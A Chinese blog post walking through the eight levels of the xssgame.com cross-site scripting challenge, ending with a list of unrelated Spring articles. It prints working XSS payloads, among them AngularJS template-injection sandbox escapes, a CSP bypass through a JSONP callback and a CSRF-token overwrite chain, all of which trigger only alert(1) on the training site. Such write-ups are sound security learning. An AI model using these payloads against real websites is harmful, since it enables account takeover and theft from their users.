• xss挑战赛小记 0x03(xssgame)


    0x00

    继续做xss吧

    这次是xssgame

    地址 http://www.xssgame.com/

    一共八关 学到了很多东西

    0x01

    啥也没有

    <svg/onload="alert(1)">

    0x02

    显然是这个点了

    ');alert(1)('       就行了  多个属性用分号间隔

    换行回车也行

    0x03

    换图片的时候发现#1 这个东西 找了下显然是这个点

    双引号没有成功 试了下单引号

    #1.jpg' onload="alert(1)"  然后就是这样了

    0x04

    welcomewelcome下有个sign up  点击到singup下  signup?next=confirm 输入email之后到confirm下 自动跳转 confirm?next=welcome

    一直是这样的循环  confirm下是一个自动跳转到welcome的 

    想到了伪协议 javascript:alert(1) 这就弹了

    0x05

     

    发现表单里还有两个隐藏的input

    但是输入好像都不行

    没辙看了wp 发现是一个angular js模板注入 

    ng-non-bindable这个下所有的属性都不会解析怪不得怎么闭合都没用

    在campaign这个参数下

    google出来的payload

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} 不能弹

    但是wp给的payload可以

    {{$eval(%27alert(1)%27)}}

    两个隐藏的input的name参数都可以弹

    0x06

    还是angular模板 找了对应版本的注入payload

    发现不行

    单引号被转为实体字符了

    试了一下get发送参数 发现会显示在form上

    但是{会被吃掉

    wp的意思是因为会经过模板的渲染 所以可以用实体字符

    &lcub;用来代替{

    &lcub;&lcub;a=%27constructor%27;b=&lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,%27alert(1)%27)()}}

    &lcub;&lcub;$eval(%27alert(1)%27)}}

    0x07

     这道题说的是csp的绕过

    Content-Security-Policy:default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/

    观察页面 可见?menu=YWJvdXQ=  后面的参数会被base64解码

    <script src="jsonp?menu=about"></script>这个东西就比较有意思了

    搜了一下jsonp xss 提到了jsonp有个callback这个参数可能导致xss

    传参给menu经过base加密的就好了

    <script src="jsonp?callback=alert(1)"></script>

    0x08

    csp和前一题没有区别

    有两个表单发给不同的地方 set和transfer

    transfer的amount参数要求为数字 如果不为数字则会被显示

    像是一个xss的点

    插入xss代码发现不允许弹框 因为csrf_token的问题

    仔细观察可以发现set表单下有些东西

    首先可以设置name

    同时设置的东西是存在cookie里面的

    这样就可以控制csrf_token

    其次redirect是控制跳转的

    这样就可以通过设置csrf_token然后跳转到transfer下弹框

    set?name=csrf_token&value=xx&redirect=transfer?name=attacker&amount=xxx"><script>alert(1)</script>&csrf_token=xx

    但是不知道为啥 如果符号不经过url编码就不能成功

    0x0X

    这次其实还是一般参考了wp

    暂时也只能做得出来简单的xss了

    但是还是学习了一些新的姿势

  • 相关阅读:
    腾讯TBS加载网页无法自适应记录
    filter过滤器实现验证跳转_返回验证结果
    Oracle不连续的值,如何实现查找上一条、下一条
    springmvc.xml 中 <url-pattern></url-pattern>节点详解
    spring拦截器-过滤器的区别
    (转)spring中的拦截器(HandlerInterceptor+MethodInterceptor)
    @Value("${xxxx}")注解的配置及使用
    mybatis BindingException: Invalid bound statement (not found)
    spring声明式事务管理方式( 基于tx和aop名字空间的xml配置+@Transactional注解)
    Spring事务管理详解_基本原理_事务管理方式
  • 原文地址:https://www.cnblogs.com/slpawn/p/7517931.html
Copyright © 2020-2023  润新知